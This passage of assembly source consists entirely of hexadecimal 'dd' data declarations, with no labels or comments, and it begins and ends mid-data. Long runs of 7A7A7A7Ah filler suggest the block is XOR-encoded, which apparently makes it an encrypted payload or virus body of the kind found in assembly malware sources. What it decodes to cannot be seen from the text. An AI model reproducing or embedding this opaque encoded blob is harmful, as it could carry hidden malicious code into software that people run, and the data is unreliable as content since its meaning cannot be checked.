27F2B9F3h dd 0F87EDB93h, 0BAF96A6Bh, 6FC5753Fh, 6A6BFAEEh, 88F3AA7Bh dd 0F3AAD575h, 7A855FAAh, 922A7A7Ah, 85850863h, 0F35EBEF9h dd 9227F2B9h, 8507CC75h, 92AB82F3h, 0AA4FC575h, 796A6BFAh dd 6BFB0E4Fh, 7194F96Ah, 3FF39C8Dh, 43BCF3A2h, 123C0F84h dd 6A6BFF17h, 8510E592h, 7CC7585h, 0CC752D93h, 752D9207h dd 2D9407CCh, 9107CC75h, 7CC752Dh, 0CC752D95h, 752D9707h dd 2D9007CCh, 9607CC75h, 7CC752Dh, 852A2D85h, 6F85720Fh dd 6A772352h, 914ABEF9h, 0FF28123Eh, 23926A6Bh, 75858510h dd 2D9307CCh, 9207CC75h, 7CC752Dh, 0CC752D94h, 752D9107h dd 2D9507CCh, 9707CC75h, 7CC752Dh, 0CC752D90h, 752D9607h dd 2D8507CCh, 720F852Ah, 23526F85h, 0BEF96A77h, 2124254Ah dd 0F32FB9B3h, 292A2B9Fh, 0F852D2Ch, 626F8572h, 0F36A7F48h dd 0FA96DBB9h, 43326A6Bh, 37FE75B9h, 127A7A7Bh, 6A6BFF37h dd 85139592h, 85292A85h, 7B5BD66Fh, 8A72D96Ah, 32126A7Ah dd 926A6BFFh, 858513A2h, 2A72BEF9h, 0D66F8529h, 0D96A7B5Bh dd 6A7B7A7Eh, 6BFAEADBh, 7E92F96Ah, 7A7E7F43h, 0FE756A7Bh dd 7A7A7B72h, 6BFADEDBh, 7D92F96Ah, 8A727F43h, 0FE756A7Ah dd 7A7A7A8Eh, 2A823FF7h, 2A863FF7h, 7A7E6F85h, 0BDF36A7Bh dd 6BF87ADBh, 827F796Ah, 0F96A6BFBh, 82437892h, 85297609h dd 6B11666Fh, 7ABC936Ah, 4FF17A7Ah, 6A6BFB6Eh, 0DB84BCF9h dd 6A6BFBDAh, 4779BDF3h, 6A6BFBFEh, 917695F9h, 822FF157h dd 5AC76E43h, 0F6A7F48h, 0F184F35Ah, 6E43862Fh, 73235AC7h dd 2968086Ah, 11666F85h, 0F856A6Bh, 766F8572h, 916A7A8Ah dd 47413D05h, 6A6BF8DEh, 6EDBB108h, 0F96A6BF8h, 0C57586BAh dd 6BFAD26Fh, 43AA7B6Ah, 85570EBCh, 232ACF4Eh, 6F856A77h dd 6A6B1166h, 0F38607F1h, 235ACF46h, 47F16A73h, 6A7A8A72h dd 9ACF46F3h, 0F36A7B53h, 232ACF66h, 4E916A77h, 0F8DE47F1h dd 2FF16A6Bh, 0C76EF382h, 6A7F485Ah, 2AC766F3h, 0F16A7723h dd 7A8A7267h, 0C766F36Ah, 6A7B539Ah, 0F38627F1h, 235AC766h dd 7F856A73h, 6A6BF8DEh, 0B3212425h, 9FF32FB9h, 7C64DEC2h dd 692D927Ah, 2C297A7Ah, 7627F12Dh, 6BFBFADBh, 6FC5756Ah dd 6A6BFB62h, 92F9AA7Bh, 6EDB2A72h, 326A6BFBh, 0DB79102Ah dd 6A6BFAB2h, 9ADB2A32h, 0F96A6BFAh, 122A7C92h, 0FA7A7A7Ah dd 85720F85h, 6B11626Fh, 0C2FFF36Ah, 0F985868Bh, 868AD2DFh dd 0DFF97A85h, 85868BCAh, 8582F97Ah, 7F4EFE75h, 0AEDB7A7Ah dd 796A6BFAh, 6BFB967Fh, 7292F96Ah, 0CEFFF72Ah, 2A85868Bh dd 6BFB0EDBh, 6BAF96Ah, 0FA967F79h, 0F72A6A6Bh, 868BBBFFh dd 0CF852A85h, 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h dd 6BFACADBh, 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0C6FF437Fh dd 7585868Bh, 7A7EC1FEh, 0BEC7FA7Ah, 4285868Bh, 0C7FA680Fh dd 85868BBFh, 0FA730F43h, 868BBCC7h, 7F0E1B85h, 7A7EE193h dd 0BBC7FA7Ah, 3D85868Bh, 0C7FA680Fh, 85868BB8h, 0FA730F33h dd 868BB9C7h, 7F0E3C85h, 7A7E0193h, 0FFCC757Ah, 85868B91h dd 0FB9E6FF1h, 0B8F96A6Bh, 0FAA434Dh, 38C7FA68h, 47858688h dd 0C7FA730Fh, 85868839h, 937F0E47h, 7A7A7E2Ah, 3C0FA173h dd 850DD292h, 0F2B8F385h, 839918EFh, 3EFFF085h, 0F2858688h dd 839919FFh, 0FAC6DB85h, 0C6FA6A6Bh, 86883E7Fh, 760F3A85h dd 8BCAFFBDh, 7A7B8586h, 68917A7Ah, 9918FFF0h, 0FF408583h dd 85839919h, 7E7CFE75h, 0A2DB7A7Ah, 0F96A6BFAh, 0F72A7C92h dd 868BCEFFh, 3A122A85h, 0F77A7977h, 839912FFh, 0CF852A85h dd 85868BC2h, 8A4E6F85h, 0FFF36A7Ah, 85868BC6h, 6BFACADBh dd 7F92F96Ah, 8BC6FF43h, 0FE758586h, 7A7A79BEh, 8BCEFFF1h dd 6FF18586h, 6A6BFB7Ah, 0F27390F9h, 99127FEEh, 3A128583h dd 0F77A7977h, 8688BAFFh, 0FFF72A85h, 85839912h, 7C15922Ah dd 0BEF97A7Ah, 75BCF376h, 0FAB647C5h, 91356A6Bh, 0EA1733Fh dd 0FECC7569h, 8688BA47h, 0F2825385h, 88BA47FEh, 57918586h dd 47FECC75h, 858688BAh, 9826FFF3h, 82F38583h, 0FFF39D8Dh dd 85839822h, 9826FFF1h, 0EFF18583h, 85839822h, 0FEF2AA53h dd 8688BA47h, 8D433D85h, 0A173CD08h, 0C575590Eh, 6BFAAA7Fh dd 7F92F96Ah, 0B85388F3h, 6BFB5EDBh, 0F27F796Ah, 0F96A6BFBh dd 0FEF27D92h, 8688BA6Fh, 0FB6ADB85h, 6FF16A6Bh, 6A6BFB12h dd 0FB026F79h, 90F96A6Bh, 7FEEF271h, 85868841h, 7A7A8512h dd 19FFF77Ah, 2A858398h, 8B96FFF7h, 922A8586h, 7A7A7FC7h dd 9819FFF7h, 2C2A8583h, 88BAFFF7h, 922A8586h, 858514D4h dd 0F362BEF9h, 868BC6FFh, 0FBB2DB85h, 0C5756A6Bh, 6BFBE26Fh dd 0F9AA7B6Ah, 0FF437392h, 85868BC6h, 78D0FF75h, 0FFBD7A7Ah dd 85868AD2h, 7A7A7A7Bh, 0FE75A173h, 7A7A7B3Ah, 6BFBAADBh dd 827F796Ah, 0FA6A6BFBh, 88CC7FC6h, 751E8586h, 7A7AEFFFh dd 0FFCC757Ah, 858688BBh, 1E6FC575h, 0F96A6BFBh, 0AA5365B8h dd 9818FFF2h, 0CC758583h, 839818FFh, 0CADB2A85h, 796A6BFAh dd 6BF87E7Fh, 7D92F96Ah, 0F171922Ah, 4EDB8585h, 756A6BF8h dd 0FBDE6FC5h, 0AA7B6A6Bh, 0D97492F9h, 6A7B5FAAh, 6BFB86DBh dd 0F8DAD96Ah, 0AADB6A6Bh, 796A6BFBh, 6BFB6A7Fh, 6FC5756Ah dd 6A6BF86Ah, 0FB066F79h, 90F96A6Bh, 7FEEF276h, 858688C8h dd 6BFBD6DBh, 2A7F796Ah, 0F96A6BFBh, 0F72A7F92h, 8688BAFFh dd 0FC922A85h, 0F97A7A7Dh, 0C6DB6ABEh, 0FA6A6BFAh, 88BA7FC6h dd 751D8586h, 7A7BADFFh, 0FADEDB7Ah, 6FF16A6Bh, 6A6BFB96h dd 0D277C575h, 7B6A6BFAh, 7990F9B0h, 0B97FEEF2h, 0F7858688h dd 8688BBFFh, 6F852A85h, 6A7B7A66h, 9826FFF3h, 122A8583h dd 6A6B230Ah, 85822392h, 0FBAEDB85h, 7F796A6Bh, 6A6BFB96h dd 0D97192F9h, 6A7B5FAAh dd 6BFADADBh, 0B27F796Ah, 0F96A6BFBh, 0DAD97192h, 0DB6A6BF8h dd 6A6BFB5Ah, 2A7D92F9h, 88BAFFF7h, 922A8586h, 7A7A7C83h dd 936EBEF9h, 7A7A7B22h, 8BCAC7F9h, 0E7A8586h, 0A6F850Dh dd 0F36A6B20h, 839826FFh, 0FF431285h, 1B926A6Bh, 8585851Eh dd 839826CFh, 0DE6FF185h, 306A6BFAh, 0EFF72A28h, 85839B27h dd 526F8528h, 0F76A7723h, 868AD6FFh, 0C5752A85h, 6BFAEE7Fh dd 7892F96Ah, 0F86EDB2Ah, 92F96A6Bh, 66102A79h, 0EE7FC575h dd 326A6BFBh, 7A6F852Ah, 0F76A7F50h, 839B27FFh, 0FFF72A85h dd 85868AD6h, 566F852Ah, 0F96A7A8Ah, 549166BEh, 6BFB5ADBh dd 0F72A326Ah, 868AD6FFh, 95922A85h, 128585FCh, 6A6BFF4Bh dd 85199992h, 0EFF72A85h, 85868AD6h, 566F8528h, 0F96A7A8Ah dd 5ADB6EBEh, 0F96A6BFBh, 122A7292h, 7A7A7AFAh, 0C5757810h dd 6BFAE67Fh, 0D67F796Ah, 0F96A6BFBh, 752A7292h, 0FBB67FC5h dd 92F96A6Bh, 7A122A73h, 0F73A7A7Ah, 868AD6FFh, 6F852A85h dd 6A6B1162h, 991EFFF3h, 56DB8583h, 756A6BF8h, 0F83A6FC5h dd 0AA7B6A6Bh, 2A7592F9h, 8BCEFFF7h, 2C2A8586h, 88BAFFF7h dd 852A8586h, 83991ECFh, 666F8585h, 856A6B15h, 83991ECFh dd 326F8585h, 0F96A7333h, 868BCAC7h, 650F7A85h, 0FFF77F10h dd 85868AD6h, 0EE6F852Ah, 756A7B5Ah, 9919FFCCh, 922A8583h dd 85850FB9h, 927F9123h, 85850748h, 8BC2CF85h, 6F858586h dd 6A733332h, 8AD2C7F9h, 0E7A8586h, 720F8573h, 8A766F85h dd 24256A7Ah, 2FB9B321h, 0C5759FF3h, 6BF8727Fh, 6FC5756Ah dd 6A6BFBB6h, 92F9AA7Bh, 6F852A70h, 6A77235Eh, 0FB36DB23h dd 7F796A6Bh, 6A6BFB7Ah, 2A7192F9h, 7A30F912h, 0FADEDB6Ah dd 92F96A6Bh, 6F852A7Dh, 6A7B7A6Ah, 0B827BA91h, 0F32F7A7Eh dd 7A4AC29Fh, 14927A7Bh, 297A7A77h, 0C5752D2Ch, 6BFBBE7Fh dd 7292F96Ah, 75BE7F43h, 0FE756A7Bh, 7A7A783Eh, 6BFB3ADBh dd 7A7F796Ah, 0F96A6BFBh, 852A7092h, 6BFBFA4Fh, 0FB0EDB6Ah dd 92F96A6Bh, 3FF72A7Dh, 6F852A86h, 6A7B75BEh, 76DBB9F3h dd 756A6BF8h, 0FAEE6FC5h, 0AA7B6A6Bh, 437C92F9h, 7BFF75B9h dd 0F77A7A78h, 752A923Fh, 0FBE27FC5h, 7F796A6Bh, 6A6BFB96h dd 2A7E92F9h, 6BFB7ADBh, 7392F96Ah, 863FF12Ah, 8542F12Ah dd 0B9F3422Dh, 3E7FC575h, 756A6BFBh, 0FACE6FC5h, 0AA7B6A6Bh dd 437392F9h, 0D3FF75B9h, 757A7A7Bh, 0FABE7FC5h, 92F96A6Bh dd 3FF72A7Ch, 0C5752A96h, 6BFA827Fh, 7E92F96Ah, 923FF12Ah dd 8542F12Ah, 0B9F3762Dh, 6BFABADBh, 6FC5756Ah, 6A6BFB8Ah dd 92F9AA7Bh, 75B94372h, 7A7B49FFh, 9E3FF77Ah, 7FC5752Ah dd 6A6BFBDEh, 2A7C92F9h, 2A963FF7h, 6BFBB2DBh, 7E7F796Ah dd 0F96A6BF8h, 0F12A7092h, 0F12A863Fh, 462D8542h, 82DBB9F3h dd 796A6BFBh, 6BFAA67Fh, 7D92F96Ah, 0F90FB943h, 6BFB6ADBh dd 7392F96Ah, 0AE3FF72Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFAD26Fh dd 0F9AA7B6Ah, 0F12A7D92h, 0F12A9E3Fh, 762D8542h, 52DBB9F3h dd 0F96A6BF8h, 0B9437292h, 8533FF75h, 0A6DB8585h, 756A6BFBh dd 0FBE26FC5h, 0AA7B6A6Bh, 0FFF72A32h, 858485AAh, 0AE3FF72Ah dd 963FF72Ah, 0FB8EDB2Ah, 92F96A6Bh, 3FF12A73h, 42F12A86h dd 0F3522D85h, 7FC575B9h, 6A6BF872h, 0F84E7F79h, 6FF16A6Bh dd 6A6BFA92h, 5277C575h, 7B6A6BFBh, 7C90F9B0h, 0B67FEEF2h dd 75858485h, 0FBDE7FC5h, 7F796A6Bh, 6A6BFB2Ah, 437092F9h dd 0F7620FB9h, 8485AFFFh, 0FFF12A85h, 858485AAh, 927E0A85h dd 85850BA5h, 0F772BEF9h, 8485AFFFh, 0FF72A85h, 6A96F9AEh dd 7EC39DF3h, 897A7A7Ah, 960FF7DFh, 0F36A96F9h, 7A7EC39Dh dd 0DF897A7Ah, 92860F85h, 8585E36Fh, 9352BEF9h, 85858576h dd 6BFB6EDBh, 0D67F796Ah, 0F96A6BFAh, 3F437292h, 0F1730E9Eh dd 0F12A9E3Fh, 722C854Ah, 6BFAE2DBh, 0A27F796Ah, 0F96A6BFBh dd 3F437792h, 0F1730E92h, 0F12A923Fh, 722C854Ah, 6BFA96DBh dd 3F43326Ah, 0F1730E86h, 0F12A863Fh, 722C854Ah, 0B3212425h dd 9FF32FB9h, 7E6696FBh, 2C297A7Ah, 4FC5752Dh, 6A6BFAD2h dd 0C5756791h, 6BFB1E6Fh, 77C5756Ah, 6A6BFBEAh, 90F9B07Bh dd 0F3A08D72h, 867ACFEEh, 0DB3C8585h, 6A6BFB5Eh, 7A7A847Fh dd 8BC437Ah, 0FBE6DBAFh, 0C5756A6Bh, 6BF83E6Fh, 0F9AA7B6Ah dd 0FFF37192h, 85858186h, 0FB5647F1h, 0BDF96A6Bh, 7FC5755Dh dd 6A6BFAB6h, 6191BD7Bh, 0F84E6FF1h, 6F796A6Bh, 6A6BFB8Eh dd 0F37790F9h, 0F3AB7B83h, 867AC7F6h, 0DB3D8585h, 6A6BF842h dd 4340BAF9h, 0F1A308BDh, 0C5757627h, 6BF83E4Fh, 7D94F96Ah dd 0BE47C575h, 0F96A6BFAh, 4D917C95h, 7E6FC575h, 0F96A6BFBh dd 83F33BB8h, 0C6F3AB7Bh, 85867AF7h, 7A6FF185h, 0F96A6BFBh dd 83F322B8h, 6FF1AB7Bh, 6A6BFBC6h, 0F36EB8F9h, 0F3AA7B82h dd 867AF7FEh, 753D8585h, 0FB3E7FC5h, 0C5756A6Bh, 6BFAE66Fh dd 6A3EF76Ah, 8BD436Ah, 0BA6FF1C9h, 0F16A6BFAh, 6BFAC677h dd 45BBF96Ah, 0CEEFF6F3h, 75858586h, 0FBE26FC5h, 77F16A6Bh dd 6A6BFB96h, 794EBBF9h, 6BFBAA77h, 0EFF6F36Ah, 858586D2h dd 527FC575h, 796A6BFBh, 6BF8527Fh, 7792F96Ah, 818EFFF3h dd 3FF18585h, 763F796Ah, 8182FFF3h, 7F18585h, 7B3B9372h dd 0C4757A7Ah, 7898BB6Dh, 7A6FCEF1h, 0DB858586h, 6A6BFBCEh dd 8D7992F9h, 75BC43A2h, 7A7B5BFEh, 86FFF17Ah, 73858581h dd 77F675BAh, 0F97A7A7Bh, 0F5757982h, 7A7A7B7Eh, 1AFF5E85h dd 856A6BFEh, 858186FFh, 7A889385h, 0EFF17A7Ah, 8585818Eh dd 3A77C575h, 0F96A6BF8h, 0AAF37C93h, 0FFF39AA9h, 85858192h dd 98F988F3h, 6E77F14Ah, 796A6BFBh, 6BF87A77h, 7893F96Ah dd 82A9AAF3h, 8192EFF1h, 0B8738585h, 8189EFF2h, 0A2F38585h dd 89EFF039h, 0F2858581h, 86FF856Ah, 93858581h, 7A7A7AE6h dd 818EEFF1h, 98F98585h, 77C57575h, 6A6BFBE2h, 6BF842DBh dd 7B36F76Ah, 0A9AAF379h, 9EFFF39Ah, 0F3858581h, 4698F988h dd 0FA9A77F1h, 77796A6Bh, 6A6BFB86h, 0F37E93F9h, 0F182A9AAh dd 85819EEFh, 0F2B87385h, 858189EFh, 39A2F385h, 8189EFF0h dd 6AF28585h, 8186FF85h, 3A918585h, 818EEFF1h, 98F98585h dd 77C57579h, 6A6BFB62h, 0FBDA7779h, 93F96A6Bh, 0A9AAF370h dd 73B8F39Ah, 89EFF288h, 0F3858581h, 0EFF039A2h, 85858189h dd 72DB6AF2h, 0F96A6BFBh, 0FFF37292h, 85858186h, 818ECFF3h dd 0FA3D8585h, 760E7A45h, 8182E741h, 0F8758585h, 858584D4h dd 0F7A45FAh, 51A2F37Dh, 7291763Fh, 6BFBA6DBh, 0A28D3A6Ah dd 0B3212425h, 9FF32FB9h, 2D2C292Bh, 8A7FC575h, 0F96A6BFBh dd 122A7C92h, 7A7A7AFAh, 2DB7E10h, 796A6BFBh, 6BFBCE7Fh dd 7792F96Ah, 0FB5ADB2Ah, 0C5756A6Bh, 6BFBD26Fh, 0F9AA7B6Ah dd 122A7292h, 3A7A7A7Ah, 73484A12h, 626F856Ah, 0F36A6B11h dd 0DB7A10BDh, 6A6BFBC2h, 0FABA7F79h, 92F96A6Bh, 0F852A7Ch dd 6F852D76h, 6A6B154Ah, 0F3723FF1h, 85B2F9BBh, 7B46FA3Ah dd 0F3830F7Ah, 9A67F1BCh, 0F96A6BFBh, 0F7297E91h, 2C298627h dd 2D720F85h, 15666F85h, 852D6A6Bh, 7333326Fh, 2124256Ah dd 122DB9B3h, 6A6BFF5Bh, 85269D92h, 852A2385h, 7B5FE26Fh dd 0F812D96Ah, 0C5756A6Bh, 6BFBEA7Fh, 7292F96Ah, 0F8127F43h dd 6D0F6A6Bh, 6BFF6B12h, 26C4926Ah, 2A238585h, 48626F85h dd 12D96A7Fh, 126A6BF8h dd 6A6BFF7Ah, 8526DD92h, 4F852A85h, 6A6BF812h, 5BD66F85h dd 4ED96A7Bh, 126A6B15h, 6A6BFE94h, 8526F192h, 4F852A85h dd 6A6BF812h, 5BD66F85h, 76D96A7Bh, 126A7B7Ah, 6A6BFEA4h dd 85261592h, 4F852A85h, 6A6BF812h, 5BD66F85h, 3ED96A7Bh dd 126A6B0Ah, 6A6BFEB5h, 85262992h, 4F852A85h, 6A6BF812h dd 5BD66F85h, 32D96A7Bh, 126A7A8Ah, 6A6BFEC5h, 85264D92h dd 6EBEF985h, 124F852Ah, 856A6BF8h, 7B5BD66Fh, 485ED96Ah dd 0B9256A73h, 0FB9FF32Fh, 7A7B2296h, 2D2C297Ah, 85144192h dd 1E669285h, 69928585h, 92858585h, 858593F4h, 85956592h dd 0C2A89285h, 0C5928585h, 928585C3h, 8585D676h, 85069292h dd 0B9279285h, 0EC928585h, 0F38585BAh, 172F92BCh, 0B8F38585h dd 84C6EFF2h, 0CC758585h, 8584C6FFh, 7A6FF185h, 796A6BF8h dd 6BF8326Fh, 7D90F96Ah, 6F0FAA43h, 6BFAEADBh, 727F796Ah dd 0F96A6BFBh, 852A7192h, 6B231A6Fh, 0FFCC756Ah, 858584C6h dd 0FB166FF1h, 90F96A6Bh, 0FAA437Eh, 0FB76DB62h, 0BAF96A6Bh dd 0A27F7926h, 2A6A6BFAh, 235E6F85h, 91236A77h, 758C73E2h dd 7A7AA5FFh, 0FECE127Ah, 1B926A6Bh, 0F3858521h, 8584CAFFh dd 0FED01285h, 2B926A6Bh, 2A858521h, 84CAEFF1h, 0F7288585h dd 8584C7EFh, 6F852885h, 6A772352h, 84C7FFF7h, 102A8585h dd 0F84ADB7Ah, 0C5756A6Bh, 6BFB626Fh, 0F9AA7B6Ah, 852A7392h dd 7323726Fh, 12BDF36Ah, 6A6BFEE4h, 85217592h, 0D6FFF385h dd 12858584h, 6A6BFEEEh, 85208592h, 4E6FF185h, 756A6BF8h dd 0FA8E77C5h, 0B07B6A6Bh, 287E90F9h, 0D6EFF12Ah, 28858584h dd 84C7EFF7h, 85288585h, 7723526Fh, 56BEF96Ah, 84C7FFF7h dd 102A8585h, 0A64F857Bh, 856A6BFBh, 7323726Fh, 0DBBDF36Ah dd 6A6BFABAh, 437892F9h, 85760FBDh, 6BF85E4Fh, 1A6F856Ah dd 0DB6A6B23h, 6A6BFA9Ah, 758BBAF9h, 0FB626FC5h, 0AA7B6A6Bh dd 6F852D2Ah, 6A77235Ah, 1E7FC575h, 326A6BFBh, 0E26F852Ah dd 0F36A7B5Fh, 107FF7B9h, 0F36A7A24h, 3FBDBA3Fh, 7A7A7FA2h dd 7FC5757Ah, 6A6BFBEEh, 0B87BB8F3h, 92F9AAF3h, 0AA3FF378h dd 0EA7FC575h, 0F96A6BFBh, 3FF37292h, 0B627F3AEh, 6BF866DBh dd 0B27F796Ah, 0F96A6BFBh, 3FF37692h, 0C63FBDB2h, 7A7A7A79h dd 6BFEF012h, 205C926Ah, 3FF38585h, 0FABADB9Ah, 7F796A6Bh dd 6A6BFAC2h, 0F37C92F9h, 16DBBE3Fh, 0F96A6BFBh, 3FF37F92h dd 0C63FF7A6h, 0EA6F852Ah, 126A7B5Ah, 6A6BEDB9h, 85238992h dd 0D2FFF385h, 12858584h, 6A6BFEFAh, 85239992h, 8E6FF185h dd 0F96A6BFBh, 29287390h, 0BE6FC575h, 796A6BFBh, 6BFB3A6Fh dd 7390F96Ah, 0C26FF128h, 0F96A6BFBh, 0F1287E90h, 6BFAAE6Fh dd 77C5756Ah, 6A6BF86Ah, 90F9B07Bh, 6FF12870h, 6A6BFADEh dd 0FAA677F1h, 0AB7B6A6Bh, 2B7193F9h, 0FBCA77F1h, 77796A6Bh dd 6A6BFBB2h, 2B7593F9h, 0FB5E6F79h, 90F96A6Bh, 7A122873h dd 2A7AB07Ah, 84D2EFF1h, 75288585h, 0FBE26FC5h, 6F796A6Bh dd 6A6BF876h, 287F90F9h, 33466F85h, 0BAD96A73h, 0F76A7B5Fh dd 8584C2FFh, 92292A85h, 858500DDh, 84CEFFF3h, 7A108585h dd 85E16C92h, 62BEF985h, 84C2FFF1h, 0BED98585h, 0F16A7B5Fh dd 8584CEFFh, 2286D985h, 8C736A73h, 5292620Fh, 0DB8585C3h dd 6A6BFA92h, 0F8467F79h, 0D9326A6Bh, 6A772356h, 0C5756B91h dd 6BFB927Fh, 40EB7F6Ah, 56D97A7Ah, 126A7723h, 6A7AB105h dd 8503D992h, 8C732385h, 5792500Fh, 928585BCh, 85858C64h dd 85B32E92h, 8A69285h, 6E918585h, 2A9E3FF7h, 217A6F85h dd 3FF76A6Bh, 6F852A9Eh, 6A7B7A62h, 1E7FC575h, 326A6BFBh dd 0FBC2DB2Ah, 92F96A6Bh, 0C5752A7Eh, 6BF83A7Fh, 7292F96Ah dd 9E3FF72Ah, 326F852Ah, 736A734Fh, 25BB0FBAh, 0B8B32124h dd 0F32F7A7Eh, 2E96F99Fh, 0DB2D2C29h, 6A6BFACAh, 0FB067F79h dd 92F96A6Bh, 0F852A71h, 720F856Ah, 85B60C92h, 76BEF985h dd 0FFD63FF3h, 0AFF75BAh, 127A7A78h, 6A6BFE0Ah, 85F66792h dd 852A2385h, 7B7A766Fh, 8A3FF36Ah, 923FBD1Ch, 3FF77A72h dd 0FF72A82h, 6A96F992h, 7EC39DF3h, 897A7A7Ah, 6A07F1DFh dd 8545F12Dh, 0B9F34A2Dh, 0BE7FC575h, 756A6BFAh, 0FBBE6FC5h dd 0AA7B6A6Bh, 437492F9h, 7AFF75B9h, 0F77A7A78h, 122ABA3Fh dd 6A6BE042h, 2A823FF1h, 6E8542F1h, 7A7A7A47h, 75B9F37Ah dd 0FAEE7FC5h, 7F796A6Bh, 6A6BFBA2h, 437C92F9h, 0BDFF75B9h dd 1C7A7A7Bh, 78AA3FBDh, 0F866DB7Ah, 0C5756A6Bh, 6BF83A6Fh dd 0F9AA7B6Ah, 3FF37692h, 9E3FF7A2h, 0AA0FF72Ah, 0F36A96F9h dd 7A7EC39Dh, 0DF897A7Ah, 0F9AA0FF7h, 9DF36A96h, 7A7A7EC3h dd 0F1DF897Ah, 0F12DBA07h, 562D8545h, 5ADBB9F3h, 0F96A6BF8h dd 0B9437892h, 7B1DFF75h, 36DB7A7Ah, 0F96A6BF8h, 3FF37392h dd 863FF786h, 0E032122Ah, 3FF16A6Bh, 42F12A9Eh, 7A476E85h dd 0F37A7A7Ah, 0F876DBB9h, 92F96A6Bh, 75B9437Eh, 7A7B51FFh dd 0AA7F857Ah, 0DB6A7B5Fh, 6A6BFB1Ah, 0F87A7F79h, 92F96A6Bh dd 0AA7F4378h, 86A7B5Fh, 0FA8ADB5Bh, 0BAF96A6Bh, 327F7979h dd 0D96A6BF8h, 6A7B5FAAh, 92860F85h, 858514DBh, 7A9F9323h dd 0C5757A7Ah, 6BFBEE7Fh, 0F67F796Ah, 0F96A6BFBh, 3FF37892h dd 0CA3FF7C2h, 664F852Ah, 926A7A8Ah, 858599ACh, 0F7B63FF3h dd 852ACE3Fh, 7B75AE4Fh, 99BE926Ah, 3FF38585h, 0C63FF7B2h dd 5A4F852Ah, 926A7332h, 858599C8h, 0F362BEF9h, 7F9BE3Fh dd 610E7AC6h, 6D0EBAFFh, 3FF73910h, 0F852AC2h, 0C60F8586h dd 92BE0F85h, 8585CAC3h, 0F96EBEF9h, 0E7ACE07h, 0B207F967h dd 106D0E7Ah, 0C23FF72Ah, 860F852Ah, 85CE0F85h, 0EC92B20Fh dd 0F98585CAh, 7F96EBEh, 670E7ACAh, 7AB607F9h, 3E106D0Eh dd 2AC23FF7h, 85860F85h, 0F85CA0Fh, 0CA0992B6h, 0BEF98585h dd 0B20F856Eh, 5FB66F85h, 0F856A7Bh, 0B66F85BEh, 856A7B5Fh dd 6F85B60Fh, 6A7B5FB6h, 0EE7FC575h, 3A6A6BFBh, 6A0F852Ah dd 92720F85h, 8585B041h, 0F176BEF9h, 0F12A863Fh, 722C854Ah dd 2A9E3FF1h, 2C854AF1h, 0BA3FF172h, 854AF12Ah, 3FF1722Ch dd 4AF12A82h, 0F7722C85h, 852A923Fh, 6B154E6Fh, 0FBD6DB6Ah dd 7F796A6Bh, 6A6BFADAh, 437F92F9h, 257A0EB9h, 0B9B32124h dd 7A3A7BC2h, 7A6AB8FAh, 96FB23EAh, 7A7A6A7Ah, 7A6A7A57h dd 5E7EFF7Ah, 7A6A7A47h, 5391097Ah, 5E7EFFBEh, 2223B92Bh dd 0BB79BAF9h, 9ABB7892h, 6A7A4778h, 64067A7Ah, 0A12A98F3h dd 76F35E7Eh, 5E7EA15Eh, 8585BA92h, 28AEF385h, 0F15E66A1h dd 66A15E76h, 0BE53225Eh, 7ABD9AF3h, 7A7A7A7Ah, 7AB92B2Bh dd 3ABA4B7Ah, 7A7A76B8h, 46A32A7Ah, 5E7EF15Eh, 5E4EC075h dd 76FB1C72h, 0A3787A5Eh, 0F2235E56h, 799AF99Ah, 46A32AB9h dd 8991225Eh, 5E46A32Ah, 1C5E7EF1h, 7A5E76FBh, 7A9A9179h dd 96FB237Ah, 7A7A6A7Ah, 7A6A7A57h, 5E7EFF7Ah, 7A6A7A47h dd 5391097Ah, 5E7EFFBEh, 7A7A9B85h, 5E2EF17Ah, 0C3BA4B72h dd 85858585h, 0D48880FDh, 33F7A38Dh, 5E3EF185h, 6F1EC72h dd 0DE897E5Eh, 0F1ADFDECh, 0B87E5E3Eh, 7A7A7A72h, 0D65F857Ah dd 0EA6A6BDAh, 7A7A7AEAh, 0CA5F857Ah, 0EA6A6BDAh, 7A7A7AEAh dd 0CE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0BA5F857Ah, 0EA6A6BDAh dd 7A7A7AEAh, 0BE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0B25F857Ah dd 0EA6A6BDAh, 7A7A7AEAh dd 0B65F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0AA5F857Ah, 0EA6A6BDAh dd 7A7A7AEAh, 0AE5F857Ah, 0EA6A6BDAh, 7A7A7AEAh, 0A25F857Ah dd 0EA6A6BDAh, 7A7A7AEAh, 0A65F857Ah, 0EA6A6BDAh, 7A7A7AEAh dd 5Fh dup(7A7A7A7Ah), 7A9F027Ah, 7A7A7A6Ah, 4 dup(7A7A7A7Ah) dd 7A095F7Ah, 87A0D7Ah, 1Ch dup(7A7A7A7Ah), 7A7A7E7Ah dd 7A7A787Ah, 7A7A737Ah, 7A7A7C7Ah, 7A7A797Ah, 7A7A7D7Ah dd 7A7A7A7Ah, 7A7A7D7Ah, 2 dup(7A7A7F7Ah), 7A7A7E7Ah, 7A7A7A7Ah dd 7A7A787Ah, 7A7A7C7Ah, 2 dup(7A7A7B7Ah), 7A7A7C7Ah, 7A7A7F7Ah dd 7A7A7C7Ah, 7A7A7E7Ah, 7A7A7C7Ah, 7A7A7F7Ah, 2 dup(7A7A7B7Ah) dd 7A7A797Ah, 7A7A787Ah, 7A7A7F7Ah, 7A7A787Ah, 7A7A737Ah dd 7A7A7A7Ah, 7A7A727Ah, 7A7A787Ah, 7A7A737Ah, 7A7A7B7Ah dd 7A7A727Ah, 7A7A787Ah, 7A7A727Ah, 7A7A787Ah, 7A7A7F7Ah dd 7A7A727Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A797Ah, 7A7A737Ah dd 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7B7Ah, 7A7A787Ah, 7A7A7E7Ah dd 7A7A727Ah, 7A7A797Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A7B7Ah dd 7A7A787Ah, 7A7A7F7Ah, 7A7A7E7Ah, 7A7A7D7Ah, 7A7A737Ah dd 7A7A7D7Ah, 7A7A7A7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A7B7Ah dd 7A7A727Ah, 2 dup(7A7A7B7Ah), 7A7A7E7Ah, 7A7A727Ah, 7A7A7C7Ah dd 7A7A7A7Ah, 7A7A787Ah, 7A7A7D7Ah, 2 dup(7A7A7E7Ah), 7A7A7C7Ah dd 7A7A7B7Ah, 2 